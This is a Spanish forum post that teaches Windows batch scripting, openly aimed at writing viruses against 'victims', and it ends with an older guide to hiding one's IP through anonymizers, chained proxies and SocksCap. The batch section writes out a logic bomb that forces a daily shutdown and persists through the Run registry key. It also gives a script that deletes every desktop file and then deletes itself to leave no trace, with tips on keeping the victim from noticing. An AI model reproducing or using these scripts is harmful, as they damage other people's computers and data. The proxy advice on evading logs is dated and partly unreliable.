keyloss

INTRO AL BATCHA Indice 1. ¿Que es Batch? 1.1 Codigos Basicos y Pequeña Practica Iniciativa 1.2 ¿Como guardo el Batch? 2. Variables 2.1 Variables del entorno 3. Bombas logicas y Virus en Batch 4. IF (not) & IF (NOT) EXIST 4.1 Aplicacion del IF a las variables y menúes 5. Bucles 6. Mejorar el Diseño de menúes (idea original de Espectro infernal) 7. Automatizando Tareas (AT) 8. Utilizacion de comandos de red 9. Redirecciones 10. %0, %1, etc. 11. Manejo del Registro I---------------------------------------------I 1. ¿Que es Batch? Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc. Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria. Como compilador usaremos tambien el block de notas con el procedimiento explicado en el capitulo 1.2 I---------------------------------------------I 1.1 Codigos Basicos y Pequeña Practica Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas Los comandos basicos de batch son los siguientes: Código: *ECHO: imprime un texto en pantalla *@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa. * DIR: muestra un listado con el contenido de un directorio. * TYPE: muestra el contenido de un archivo en pantalla. * COPY: copia archivos en otro lugar. * REN (RENAME): renombra archivos. * DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad). * MD o MKDIR: crea un nuevo directorio. * CD o CHDIR: cambia el directorio actual por el especificado. * RD o RMDIR: borra un directorio vacío. * DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones) * CLS: limpia la pantalla. * HELP: ayuda sobre las distintas órdenes. * SORT: ordena Datos *SHUTDOWN: apaga el ordenador Ahora nos vamos a la practica Abres el Block y escribes el siguiente codigo. Código: @echo off title Primer Programa echo presiona una tecla pause echo hola pause > nul exit Aca una screen del codigo anterior luego de ser compilado y funcionando: Ahora expliquemos el codigo que copiaste. Código: @echo off este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea. Código: title este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa. Código: echo este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla. por ejemplo echo hola en la pantalla apareceria "hola" Código: pause esto crea una pausa en el programa y tienes que presionar una tecla para proseguir. Código: pause > nul esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir" I---------------------------------------------I 1.2 ¿Como guardo el Batch? Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como... Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos" I---------------------------------------------I 2. Variables DEFINICION Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco todos ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas. Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero% A LA PRACTICA comenzaremos examinando el code siguiente: Código: @echo off title variables echo bienvenido al ejercicio para aprender variables echo . echo presiona una tecla para continuar pause > nul set /p nombre=como te llamas? set /p edad=cuantos anios tenes? set /p comida= que comes? pause > nul echo hola %nombre% echo veo que tienes %edad% anios verdad? echo como rayos te puede gustar %comida%? pause > nul exit Ahora Examinemos el code: Código: set /p nombre=como te llamas? con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables. /p significa que el usuario le pondra el valora la variable por medio de una pregunta. "nombre" ahi esta el nombre dela variable. "=como te llamas?" es la pregunta que se le hara al usuario. He aqui un modelo standar de variable Código: set /p var1=que valor le asigna a la variable 1? tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo Código: set var=pesos --- Código: echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD exit Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto. este seria el ejemplo del programa corriendo asi se entiende mejor: Código: Bienvenidos al ejercicio para aprender variables . Presione una tecla para continuar como te llamas? holy que edad tienes? 14 que comes? nada hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD I---------------------------------------------I 2.1 Variables del entorno hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo: nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe" logicamente le podremos que busque en la ruta c:/windows/system32/ pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables del entorno que son las siguientes: Código: %ALLUSERSPROFILE% ------> todos los usuarios %APPDATA% ---------> datos de programa %PROMPT%%TEMP% y %TMP% ---------> temporales %USERDOMAIN% -----------> obtener dominio %USERNAME% --------------->nombre del usuario Actual %USERPROFILE% ---------------> usuario configuracion %programfiles% ---------------> archivos de programas %systemroot% ----------------> windows %homedrive% --------------> disco Raiz para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad Código: @echo off title pruba echo ahora se ejecutara el notepad %homedrive%/windows/system32/notepad.exe exit en caso de que tubieramos en el disco c: eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de progrmar batch. I---------------------------------------------I 3. Bombas Logicas y Virus en Batch Es muy facil crear codigos que perjudiquen o molesten a una victima que ejecute nuestro batch. A continuacion les mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador de la victima a las 17:00 todos los dias. Primero aprender la definicion concreta de Bomba Lógica: Bomba Logica Las bombas logicas complejas pueden programarce en lenguajes mas complejos como Visual Basic. Pero como tu solo buscas algo simple para a alguien te recomiendo batch. Mira este code Código: shutdown -s -f -t 15 -c "hola mundo" ahora explicamos el code Código: shutdown el mismo nombre te lo dice, apaga el equipo Código: -s activa apagar el equipo Código: -f Fuerza a las aplicaciones activas a cerrrarse Código: -t xx Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero que quieras) Código: -c "x" muestra un mensaje con lo que quieras (donde esta la x pones el mensaje) entonses si creamos un batch que se inicie con windows y apage la pc de la victima a las 17:00 joderemos mucho a la victima. Código: @echo off AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat" exit lo que haria esto en "teoria" seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00. I---------------------------------------------I 4. IF (not) & IF (NOT) EXIST IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion que no es para nada complicada Código: @echo off set /p var=cuanto es 1+1?? if %var%==2 (echo bien) else echo mal pause En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor espesificado. Aqui se ve claramente: Código: @echo off set /p var=cuanto es 1+1?? if not %var%==2 (echo mal) else echo bien pause IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con el siguiente code: Código: @echo off if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe pause > nul I---------------------------------------------I 4.1 Aplicacion del IF a las variables y menúes IF nos ayuda a la hora de crear menúes. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica. Código: @echo off :menu echo 1. ping a google echo 2. ping a wikipedia set /p var=a quien quieres hacer un ping?? if %var%==1 (goto goo) if %var%==2 (goto wiki) if %var%=="" (goto menu) :goo ping www.google.com pause goto menu :wiki ping www.wikipedia.com pause goto menu I---------------------------------------------I 5. Bucles 5. Bucles Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidament e. Estos bucles se pueden realizar muy facilmente con etiquetasm tal como en el siguiente ejemplo. Código: @echo off :bucle echo holy manda! goto bucle como ven si lo prueban, se ejecutara el comando infinitamente hasta que saquemos el programa. Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo. Código: @echo off set var=10 :bucle if %var%==0 (goto exit) else set /A var=%var%-1 echo hola viteh! goto bucle :exit echo hola pause exit I---------------------------------------------I 6. Mejorar el Diseño de menúes (idea original de Espectro infernal) Hay simbolos que al imprimirlos mediante la variable hecho cambian de forma. Con ciertos caracteres tales como "Í" se pueden crear tablas, columnas, etc. Aqui les mostrare de que se trata esto. Nos sirve para darle nuevos look's a los convencionales menus de "1. opcion uno". Aclaro que la idea original es de espectro infernal, yo solo adapto lo que se y lo transmito. El simbolo "Í" que anteriormente les mostraba como ejemplo quedaria asi luego de imprimirlo: Como ven parece un igual, pero tiene una diferencia, no deja espacio entre caracteres lo que permite una cadena de =. Tal como la siguiente imagen: Hay mas codigos. Les dejo el terminado para que prueben y vean el resultado de convinaciones de estos caracteres. Tambien pueden crear sus propias tablas personalizadas . Los caracteres mas usados son "ÿ,Í,ÿ,¼,»,º." Código: echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» echo º - PRIMERA OPCION º echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ I---------------------------------------------I 7. Automatizando Tareas (AT) El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es. Código: @echo off at 4:00 shutdown -s -f -t 01 pause > nul exit Código: @echo off at /next:4 4:00 shutdown -s -f -t 01 pause > nul exit Código: @echo off at /every:4/2 4:00 shutdown -s -f -t 01 pause > nul exit Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg. Código: @echo off rem este code contiene una redireccion, estan explicadas en un prox capitulo. at 3:00 shutdown -s -f -t 05 > c:/shut.bat REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/shut.bat" del %0 exit Si ponemos una tarea accidentalment e, por ej. Código: at 17:30 format e: podemos usar un parametro que nos permite eliminar las tareas. Esto se realiza mediante la agregacion de el parametro /delete "id de tarea". Si se omite el id, se borraran todas. Código: @echo off at /delete exit I---------------------------------------------I 8. Utilizacion de comandos de red Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una liste de comandos con su explicacion. Código: FTP Iniciar el cliente ftp IPCONFIG parámetros Mostrar las características de configuración de IP /all -> muestra toda la información de configuración /release adaptador -> libera la ip del adaptador especificado /renew adaptador -> renueva la ip para el adaptador especificado /flushdns -> purga la caché de resolución de dns /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns /displaydns -> muestra el contenido de la cache de resolución dns NBTSTAT Hace un estado de la red por netbios Tiene muchos parámetros. Consultarlos mediante nbtstat /? NET parámetros Comando para el uso de redes netbios USE equiporecurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema. USE USER: dominiousuario para acceder a un dominio USE unidad /DELETE eliminar el acceso a unidad compartida. SHARE trayecto /REMARK texto -> para compartir un recurso en red START -> para comenzar sesión netbios STOP -> para detener netbios NETSTAT Para ver el estado de la red. -a -> mostrar todos los puertos y conexiones -n -> mostrar números de puertos y direcciones -r -> mostrar la tabla de rutas -s -> mostrar estadísticas por protocolo -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas NSLOOKUP dominio Muestra el dominio, su ip, dns donde se resuelve y sus alias PING Enivia paquetes a un host para comprovar su disponibilidad TELNET ip puerto Utilizar el protocolo telnet para acceso a un servidor exterior TRACERT destino muestra el camino que se toma hasta llegar a la ip I---------------------------------------------I 9. Redirecciones Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo. Código: @echo off shutdown -s -f -t 01 >> "c:/shut.bat" En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros. Código: @echo off del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat" del /f /q %0 rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con: Código: echo hola > prn Supuestamente este code tendria que salir por la impresora. Aqui les dejo los valores extraidos del manual de "elhacker.net". Citar DISPOSITIVO -- SALIDA CON -- Salida por la pantalla PRN -- Salida por la impresora por defecto LPT1 -- Salida por la 1º impresora en paralelo COM1 -- Salida por el primer puerto serie COM2 -- Salida por el segundo puerto serie I---------------------------------------------I 10. %0, %1, etc. Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos. %0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo: Código: @echo off del /f /q %0 exit Copien el codigo y compilenlo, luego ejecutenlo y vean que pasa. Ahi entenderan el concepto 100%. Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden espesificar para un comando. Tal como Código: dir /p en este caso "/p" seria igual a %1. Entonses si ponemos Código: del /f /q "/f" es %1 y "/q" es %2 Es algo complicado en un principio, pero una vez que se aprende te daz cuenta que es muy simple. Es principalmente escencial para modificar el funcionamiento de los programas y/o crear ayudas como en lso comandos default de windows. Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo: Cocuments and SettingsadministradorEscritorio>prueba.bat /help y luego solo normalmente Cocuments and SettingsFranciscoEscritorio>prueba.bat Código: @echo off title Ejemplo de variables if %1==/help (goto help) else goto :tex :help echo Esta es la ayuda echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help pause exit :tex echo De esta forma se ejecuta el programa normalmente pause exit I---------------------------------------------I 11. Manejo del Registro Accesar al registro es algo fundamental si queremos hacer algo como un virus o algo asi. Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se peude espesificar y muchas funcionalidade s. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente. Los tipos de "reg" son los siguientes: Código: REG ADD / Para agregar una clave al registro REG QUERY / Para consultar una clave REG EXPORT / Para exportar claves REG IMPORT / Importa una clave exporta anteriormente con EXPORT. REG COMPARE / compara una clave con otra. REG ADD Aqui les mostrare un ejemplo para que quede claro su llamado y funcionamiento . ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat" Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat. REG QUERY REG QUERY clave [/v nvalor | /ve][/s] clave clave equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos. clave: Con la forma nombre de CLAVERAIZsubclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ] Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada. /v consulta para una clave de registro específica nvalor: nombre en la clave seleccionada para consultar. Si se omite, se consultará en todos los valores de la clave. /ve Consultar el valor predeterminado o el de nombre vacío <sin nombre> /s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLMSoftwareMicrosoftResT /v Version Muestra el valor del valor Version del registro. REG QUERY HKLMSoftwareMicrosoftResTSetup /s Muestra todas las subclaves y valores en la clave de registro Setup. REG EXPORT clave ROOTKEYsubclave (sólo equipo local) ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] subclave El nombre completo de la clave del registro dentro del valor ROOTKEY seleccionado archivo El nombre del archivo de disco para exportar Ejemplos: REG EXPORT HKLMSoftwareMiCoMiAp CopiaAp.reg Exporta todas las subclaves y valores de la clave MiAp al archivo CopiaAp.reg REG IMPORT Importa una clave importada con reg export. REG IMPORT "c:/loquesea.reg" REG COMPARE Compara 2 claves de registro. REG COMPARE HKLMSoftwareMiCoMiAp HKLMSoftwareMiCoGuardaMiAp Compara todos los valores dentro de la clave MiAp con GuardaMiAp REG COMPARE HKLMSoftwareMiCo HKLMSoftwareMiCo1 /v Version Compara el valor Version en las claves MiCo y MiCo1 REG COMPARE ZODIACHKLMSoftwareMiCo . /s Compara todas las subclaves y valores en HKLMSoftwareMiCo de ZODIAC con la misma clave del equipo actual SI PROBAS HACELO EN MODO INVITADO O EN TU COLEGIO NO EN EL ADMINISTRADOR PORQUE PODES FAKE EL SISTEMA BUENO ESPERO QUE TE SIRVA Y A FASTIDIAR JAJAJA comenten y dejen puntoas que me costo conseguir esta info...

COMO ESCONDER TU IP Para empezar, te recomiendo buscar textos sobre wingates, socks y proxies (además, dehabilitá el java, javascript, cookies, links relacionados y actualización automática ... y tené en cuenta que si pretendés ocultar tu identidad, Internet Explorer no es la mejor opción). Intenta también instalar un firewall o DHCP... Hay situaciones en las cuales queremos visitar un site sin dejar rastros en él, puede que tengas ganas de espiar el site de la competencia. Tu visita quedará registrada en un archivo LOG del servidor. Los visitantes frecuentes generan muchos registros. Estos registros pueden brindar información al administrador de la red, información que es enviada desde nuestra PC sin que nos enteremos. Sin embargo, para que el servidor guarde estos datos no necesita hacer pruebas demasiado sofisticadas. Un "snooper" dedicado podría averiguar mucho más. Ha habido algunos casos de sitios que han intentado acceder al disco rígido del visitante (un caso un tanto extremo). También hay miles de casos que involucran cookies (http://www.illuminatus.com/cookie.fcgi), código javascript y applets java malintencionados, agujeros de seguridad en los navegadores, etc, así que la mejor opción es navegar con un intermediario que entre a los sitios por nosotros. Paso 1 - Determinar tu dirección IP: Para averiguar tu propia dirección IP andá a http://megawx.aws.com/support/faq/software/ip.asp Cada computadora conectada a Internet tiene un número identificador único llamado "dirección IP". En la mayoría de las redes la dirección IP de una PC es siempre la misma. En algunas otras, ésta se asigna cada vez que la PC se conecta a la red. A eso me refiero cuando pregunto si tenés dirección estática o dinámica. Si tu IP es dinámica seguro que será distinta cada vez que te conectes. Hay una explicación muy completa sobre números IP (qué son y cómo funcionan) AQUÍ Paso 2 - Lograr navegar anonimamente: Método 1: Anonymizer Cualquiera puede navegar anonimamente con la ayuda de un excelente servicio llamado "Anonymizer x" (http://www.anonymizer.com/3.0/index.shtml). Visitalo y escribí allí el URL que querés ver anónimamente ("Anonymizer" hace todo el trabajo por vos, eliminando varios peligros potenciales). Cuando seguís un link que hay en una página a la que entraste via Anonimyzer, el mismo se abre también via Anonymizer, de modo que no tengas que tipear a mano todas las direcciones a las que quieras ir. Este sitio te da la opción de pagar el servicio o usarlo gratis, pero si lo usamos gratis nos encontraremos con una serie de limitaciones, tales como una demora de 30 segundos en la descarga de la página, y acceso anónimo sólo a sitios con protocolo HTTP (no HTTPS ni FTP). Por otra parte, existen sitios que son inaccesibles a través de Anonymizer, como ser algunos servidores de e-mail por web. Otro servicio que nos puede prestar Anonymizer es el de "acercarnos" las páginas web lejanas, por ejemplo, si una página está ubicada en Japón y algún problema de enlace no nos permite conectarnos rápidamente (es decir: no la podemos ver), podemos pedirle a Anonymizer que entre a ella por nosotros y nos la muestre luego. Probablemente Anonymizer tenga un mejor enlace con Japón que el que tenemos nosotros, y esto nos solucionaría el problema. Por último, hay algunos sitios que nos muestran distinta información de acuerdo al lugar geográfico desde el cual entremos. Por ejemplo: El sitio de la Enciclopedia Británica (en la sección dedicada a "enviar el pedido de compra" ofrece un listado de representantes en cada país, pero al entrar a través de Anonymizer aparece en su lugar otra página en la cual podemos ver los precios que tienen en USA (hogar de Anonymizer). No es dificil imaginar que los precios de los representantes son varias veces mayores que los precios en USA. Anonymizer es una de las herramientas más populares para navegar anonimamente, pero no es la única. Continuamente aparecen sitios que ofrecen servicios similares. Una buena alternativa es JANUS (http://www.rewebber.de/) ubicado en Alemania. Es rápido, puede encriptar el URL, y además es gratuito. Lo siguiente es un fragmento de las aclaraciones que hay en el sitio de JANUS: "JANUS es capaz de encriptar los URLs (las direcciones de las páginas) de modo que puedan ser usadas como referencia al servidor. Si se da el caso en que una dirección encriptada sea solicitada, JANUS podrá desencriptarla y reenviarla al servidor, sin necesidad de que el usuario sepa cuál es la verdadera dirección. Todas las referencias en la respuesta del servidor son encriptadas también, antes de que lleguen al usuario." (una variante muy interesante al servicio de anonimato... anonimato para servidores!) Metodo 2: Servidores Proxy También es posible lograr el anonimato en la navegación interponiendo un servidor proxy. Este servicio es similar al de Anonymizer, ya que las páginas son solicitadas por el proxy en lugar de la persona que realmente está navegando. Pero hay algunas diferencias muy importantes: los proxies no filtran los cookies, applets ni código malintencionados. En definitiva, lo único que hacen es ocultar nuestra posición geográfica. Casi todos los servidores proxy tienen el acceso restringido a los usuarios del proveedor en el cual se encuentra, es decir... si usamos Fibertel no podremos utilizar el proxy de Sinectis (el acceso será denegado). Por suerte, siempre hay por allí algún proxy generoso que ofrece sus servicios al público en general, intencionalmente o debido a un error en la configuración (claro que los motivos suelen no ser públicos). Cómo podemos encontrar estos Proxies "generosos"? Buena noticia para los perezosos: hay muchas listas de servidores proxy públicos, sin ir más lejos: http://tools.rosinstrument.com/cgi-bin/dored/cgi-bin/fp.pl/showlog Para quienes no son tan perezosos: encuentren sus propios servidores proxy, es fácil. Vayan a Altavista (www.altavista.com) y escriban algo como +proxy +server +configuration +port, y van a recibir la lista de páginas web en las que los proveedores de Internet dan instrucciones completas a sus usuarios sobre cómo configurar sus navegadores para usar sus proxies. Prueben con cada proxy que hayan encontrado, y luego de 6 o 7 fallas (servicios "restringidos" encontrarán seguramente uno que ande. Suponiendo que hayan encontrado uno, digamos cualquier.proxy.com, HTTP port 8080. Para hacerlo funcionar en tu conección tenés que llenar (en tu navegador) los datos en la sección "Configuración manual de servidor proxy". Configurando: En Netscape Communicator: Editar - Preferencias - Avanzado - Proxies - Configuración manual de proxy - Ver, y para HTTP y FTP escribí el nombre de tu servidor (ejemplo: proxy.datafull.com) y número de port (ejemplo 3128). En Internet Explorer 4.0: Ver - Opciones de Internet - Conexiones - marcar "Acceder a Internet usando un servidor proxy". Donde dice DIRECCIÓN escribir el nombre (ejemplo: proxy.datafull.com) y en PORT escribir el número de puerto (ejemplo: 3128), hacer click en opciones avanzadas y marcar donde dice "Usar el mismo proxy para todos los protocolos". Una vez hecho todo esto ya podés empezar a navegar dejando el rastro de que estás en Bulgaria, USA, Corea del Norte o donde quiera que se encuentre el proxy, pero ...aún hay un tema importante a tener en cuenta, "¿Mi proxy... es realmente anónimo?" ¿Mi proxy es realmente anónimo? No todos los proxies son del todo anónimos. Algunos de ellos dejan que el administrador del sistema (del sitio visitado) averigüe la dirección IP desde la cual nos estamos conectando al proxy, o sea, nuestra dirección IP real. Una vez que estés usando un proxy vas a poder hacerle una prueba de anonimato en la siguiente dirección: http://www.tamos.com/bin/proxy.cgi Si recibís el mensaje "Proxy server is detected!" - entonces hay un agujero de seguridad en el proxy que estás usando, y los servidores web es capaz de averigüar tu verdadero IP. La información sobre tu verdadero IP va a aparecer en la página web. Si el mensaje que recibís es "Proxy server not detected" - significa que estás navegando anónimamente. De todos modos recomiendo estudiar cuidadosamente la lista de direcciones IP que esa página nos devuelva. Ninguno de ellos debería ser el tuyo. También podés realizar otras pruebas para ver si tu navegador es anónimo. Dichas pruebas pueden darte una lista completa de parametros que tu navegador deja saber al sitio web que visitas. (esa información está contenida en las llamadas "variables de entorno". Proxys-4-All (http://proxys4all.cgi.net/tools.html) siempre tiene una larga lista de testeadores para esto. Consideraciones Finales: A pesar de todo lo dicho anteriormente ... usá proxies sólo cuando sea necesario. Navegar a través de proxies reduce considerablemente la velocidad de la transferencia de datos. Otra consideración importante que la gente suele olvidar: usá los proxies para propositos legales. Esconder tu identidad es aceptable si no querés que los servidores recopilen datos sobre vos, pero si ocultas tu IP para comprar CD´s, libros o software con una tarjeta de crédito falsa hay una buena posibilidad de que termines en la carcel, eso sin contar los aspectos morales. No te olvides de que todas las conexiones son logeadas, y si violaste una ley podrías ser rastreado, al menos en los países en los cuales la ley actúa en serio. El adminstrador del sitio podría leer los registros y contactar al administrador del proxy, y este último leería los suyos y averiguaría tu IP verdadero, entonces ambos contactarían a tu proveedor de Internet y ya tendrían tu nombre y dirección, y si usaste una cuenta que no es tuya, al menos tendrían el teléfono desde el cual llamaste... espero que haya quedado claro. Especial para paranoicos: Esto es interesante: Las herramientas que vimos hasta ahora pueden ser encadenadas! Por ejemplo, si estás usando el Proxy A, y sabés las direcciones de otros dos proxies (Proxy B y Proxy C). La dirección que deberías solicitar sería algo así como http://proxyB:puerto/http://proxyC:puerto/http://www.lapagina.com ... Como resultado, accederías a www.lapagina.com a través de 3 proxies anónimos: A (que está configurado en el browser) B y C (que están en el url que escribiste). Otro ejemplo más realista podría ser: http://proxy.usnowear.com:8080/http://proxy.barcelonaweb.com:8080/http://www.datafull.com Cuidado: No todos los proxies permiten ese tipo de encadenado. SocksCap - para usar anónimamente aplicaciones que no sean HTTP (telnet, ftp, ICQ, RealPlayer, etc) Qué es SocksCap? SocksCap permite que las aplicaciones clientes basadas en TCP y UDP pasen a través de un firewall ubicado en un servidor del tipo SOCKETS. SocksCap intercepta las llamadas hechas a la red desde aplicaciones WinSock y las redirige a través de un server SOCKS de manera transparente para las aplicaciones o el sistema operativo y drivers. Cuál es la última versión? La versión actual de SocksCap16 (16-bit) es la 1.02. La versión más reciente de SocksCap32 (32-bit) es la 1.03. También existe una versión beta de SocksCap32 Version 2 (Beta 3). Cuál es la diferencia entre SocksCap, SocksCap16, y SocksCap32? El número se refiere a las versiones de 16 y 32 bits. SocksCap16 es la version de 16-bits. SocksCap32 es la de 32-bits. Necesito SocksCap16, SocksCap32, o los dos? Para Windows 3.1 y Windows para trabajo en grupo 3.11 necesitás SocksCap16. Para Windows 95 y Windows 98 necesitás SocksCap32 para las aplicaciones de 32-bits. Si además estás ejecutando alguna aplicación de 16 bits (algún programa viejo quizás) bajo Windows 95 o 98, necesitás SocksCap16 para esas aplicaciones. Es posible ejecutar SocksCap16 y SocksCap32 a la vez para manejar todas las aplicaciones (de 16 y 32 bits). En Windows NT o 2000, usá SocksCap32. (Estos sistemas operativos no permiten software de 16 bits. Dónde puedo conseguir SocksCap? SocksCap está disponible para descarga en el sitio web de SOCKS en: http://www.socks.nec.com/. SocksCap es gratis? Y el codigo fuente, está disponible? El programa se puede bajar gratis del sitio web de SOCKS. No está librado al dominio público. Su uso y distribución está restringido y sujeto a ciertos acuerdos. El código fuente no está disponible. Funciona con todas las aplicaciones? SocksCap funciona independentemente de las aplicaciones que usemos, pero puede presentar algunos problemas en ciertos casos. Cómo sé si funciona con mi aplicación? La mejor manera de saber eso es probarlo. Podrías referirte a la tabla de aplicaciones con las cuales los usuarios han reportado éxito o fracaso. Bajate la lista de la sección SocksCap del sitio http://www.socks.nec.com/. Es necesario que use el FTP en modo de transferencia pasiva? FTP puede experimentar dificultades, dependiendo de la aplicación y el stack. Intenta sin el modo pasivo, si no anda, intenta con el pasivo. Cómo se configuran el servidor de SOCKS y el puerto en el setup de SocksCap? Escribe la dirección y puerto del servidor SOCKS que querés atravezar. Si no estás seguro de lo que eso quiere decir, contacta a tu ISP o administrador de red o firewall o consulta una lista en: http://tools.rosinstrument.com/proxy/1080.htm. GRACIAS